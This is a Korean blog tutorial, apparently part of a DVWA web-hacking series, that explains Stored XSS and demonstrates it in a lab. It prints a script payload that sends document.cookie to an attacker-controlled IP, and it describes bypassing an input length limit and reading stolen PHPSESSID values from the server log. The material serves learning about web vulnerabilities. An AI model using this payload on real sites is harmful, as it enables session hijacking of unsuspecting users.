1. Stored XSS 공격 개요
Stored XSS 공격은 웹 브라우저에서 스크립트를 실행하는 것은 Reflected XSS 공격과 동일하지만 웹 서버에 스크립트를 저장했다가 실행된다는 차이점이 있다.
[그림 1-1] Stored XSS 공격 과정
공격자는 XSS 공격 스크립트를 웹 사이트 방명록이나 게시판 등에 삽입한다. 삽입 후 다른 사용자들이 방명록이나 게시판 등을 방문해 공격자가 작성한 게시물을 클릭하기를 기다린다. 사용자가 공격자가 작성한 게시물을 실행하면 스크립트 코드가 사용자에게 전달된다. 이 때 웹 브라우저는 스크립트 코드를 실행해서 세션 쿠키가 공격자에게 전달되고 공격자는 세션 쿠키를 사용해 사용자의 권한으로 웹 사이트 접속이 가능해진다. Reflected XSS 공격보다 공격 경로가 다양하기 때문에 더 위험하다고 판단할 수 있다.
2. Stored XSS 공격 실습
[그림 1-1] 개발자 도구
Stored XSS 공격을 시도하기 위해 <script>document.location='http://192.168.171.172/cookie?'+document.cookie</script> 구문을 삽입해야 하는데 글자수 제한에 막힌다. 하지만 개발자 도구에서 maxlength 속성 값을 수정하면 우회가 가능하다. 충분한 글자 확보를 위해 500으로 지정한다.
[그림 1-2] Stored XSS 공격 구문
글자수 제한 수정 후 Stored XSS 공격 구문을 삽입한 후 게시글을 저장한다.
[그림 1-3] 에러 페이지
작성한 게시글을 실행하면 [그림 1-3]과 같은 에러 페이지가 발생하는데 이미 지정해 놓은 공격자의 호스트로 전송된다.
[그림 1-4] 로그 검색
Tail 명령어를 활용해 파일의 내용을 확인한다. 웹 서버로 들어온 요청 정보가 기록되는데 DVWA에서 Stored XSS 공격을 할 때마다 로그 파일에 로그가 계속 기록된다. 앞서 했던 쿠키 값을 탈취하기 위해 실행했던 document.cookie 스크립트와 함께 PHPSESSID 세션 쿠키 값도 모두 기록되어 있다는 것을 확인할 수 있다. Stored XSS 공격은 웹 서버에 저장해 놓은 상태에서 공격이 되기 때문에 공격할 수 있는 경로가 많아 모의해킹 진행 시 신경써야 하는 취약점 중 하나다.
'웹해킹 > DVWA' 카테고리의 다른 글
Reflected XSS 공격 (2) (0) | 2020.01.21 |
---|---|
Reflected XSS 공격 (1) (0) | 2020.01.21 |
CSRF 공격 (2) (0) | 2020.01.12 |
CSRF 공격 (1) (0) | 2020.01.12 |
Command Injection 공격 (2) (0) | 2020.01.04 |